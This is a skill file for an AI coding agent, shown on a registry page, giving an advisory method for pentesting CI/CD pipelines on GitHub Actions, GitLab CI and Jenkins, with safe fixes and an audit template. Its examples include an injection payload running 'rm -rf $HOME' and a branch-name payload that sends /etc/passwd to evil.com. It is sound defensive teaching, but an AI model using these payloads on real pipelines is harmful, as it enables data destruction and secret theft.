agentleFS
fatihkanfatihkan/badi/.claude/skills-vault/pentest-cicd/SKILL.md

pentest-cicd

Skill8 starsChanged 3 months agoMITView on GitHub

CI/CD red team methodology — GitHub Actions, GitLab CI, Jenkins pipeline security analysis, secret leak, workflow injection advisory. Triggers on CI/CD pentest, GitHub Actions security, GitLab CI, Jenkins, pipeline injection, workflow injection, secret leak, OIDC abuse, runner takeover, supply chain.

  • Deletes or force-pushes
  • Installs packages

The file

Files
SKILL.md

pentest-cicd

CI/CD pipeline attack surface advisory. Assumes repository access within an authorized engagement.

Triggers

  • "CI/CD pentest"
  • "GitHub Actions vulnerability"
  • "GitLab CI test"
  • "Jenkins security"
  • "workflow injection"
  • "OIDC token abuse"
  • "supply chain pentest"

Attack Surface Map

ComponentCommon Vulnerability
Source repoSecret leak (env, .pem, .key)
Workflow fileInjection via PR title, comment, branch name
RunnerSelf-hosted runner takeover
Secret storeEnvironment variable leak in logs
OIDC trustPrivilege leak to the cloud provider
Action marketplaceCompromised 3rd party action
ArtifactExfiltrate or tamper with the build artifact
CacheCache poisoning (the next build picks it up)

GitHub Actions Specific

Common Injection Pattern

# UNSAFE — ${{ code }} inside PR title -> shell injection
- run: echo "Processing PR: ${{ github.event.pull_request.title }}"

# Attack: PR title = `";rm -rf $HOME ;echo "`
# Resulting command: echo "Processing PR: ";rm -rf $HOME ;echo ""

# SAFE
- run: echo "Processing PR: $TITLE"
  env:
    TITLE: ${{ github.event.pull_request.title }}

pull_request_target Vulnerability

# UNSAFE — secrets reachable via a fork PR
on: pull_request_target
jobs:
  test:
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # runs fork code
      - run: npm install                                  # fork malicious npm script

Detect:

  • pull_request_target + checkout head.sha = HIGH risk
  • pull_request_target + secret usage = HIGH risk

Self-Hosted Runner Takeover

  • Public repo + self-hosted runner: anyone can register job
  • Fix: organization-level allowlist, ephemeral runner (single job)

OIDC Trust Misconfig

# AWS role trust policy
{
  "Condition": {
    "StringEquals": {
      "token.actions.githubusercontent.com:sub": "repo:org/repo:*"   # too broad
    }
  }
}

Fix: :ref:refs/heads/main for a specific branch, :environment:production for a specific env.

GitLab CI Specific

# UNSAFE — predefined variable injection
script:
  - echo "Branch: ${CI_COMMIT_BRANCH}"

# Attack: branch name = `"; curl evil.com/xfil?d=$(cat /etc/passwd); echo "`
  • CI_JOB_TOKEN abuse: cross-project pipeline trigger
  • before_script global override
  • Compliance pipeline by-pass (mr-only checks bypass with detached pipeline)

Jenkins Specific

# Anonymous Jenkins enumeration (QUIET)
curl https://jenkins.example.com/api/json
curl https://jenkins.example.com/script  # Groovy console anonymous

# Pipeline definition injection
# Branch name / build parameter Groovy script context
  • Script Approval bypass
  • Pipeline shared library compromise (npm/git supply chain)
  • Credentials plugin: master key + decryption

Secret Leak Detection

# Git history scan (truffleHog v3)
trufflehog git https://github.com/<org>/<repo> --only-verified

# Gitleaks
gitleaks detect --source . --report-path report.json

# detect-secrets (yelp)
detect-secrets scan --all-files > .secrets.baseline

Workflow File Audit

Skill audit command (recursive scan):

# Risk patterns across all .github/workflows/*.yml files:
grep -rE "pull_request_target|github.event.(issue|pull_request).body|github.event.(issue|pull_request).title|github.head_ref|github.event.workflow_run" .github/workflows/

# Then analyze each hit manually: is it in shell context

Output Template

## CI/CD Pentest — <repo>

### Findings
- [CRITICAL] .github/workflows/lint.yml — pull_request_target + checkout head.sha
  -> Fork PR malicious code reaches production secrets
- [HIGH] AWS OIDC trust "repo:org/*:*" — admin role from any branch
- [MEDIUM] gitleaks: 3 expired AWS keys in git history
- [LOW] Self-hosted runner on a public repo (missing org allowlist)

### Recommendations
- pull_request_target only for read-only workflows (test, lint) + script env-isolated
- Make the OIDC sub claim specific
- Truffle/gitleaks pre-commit hook
- Runner ephemeral mode (actions/runner --ephemeral)

Out-of-Scope

  • Production deploy disruption (stays outside the engagement)
  • Supply chain attack attempt against 3rd party action repos
  • DoS pipeline (exceeding limits)

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.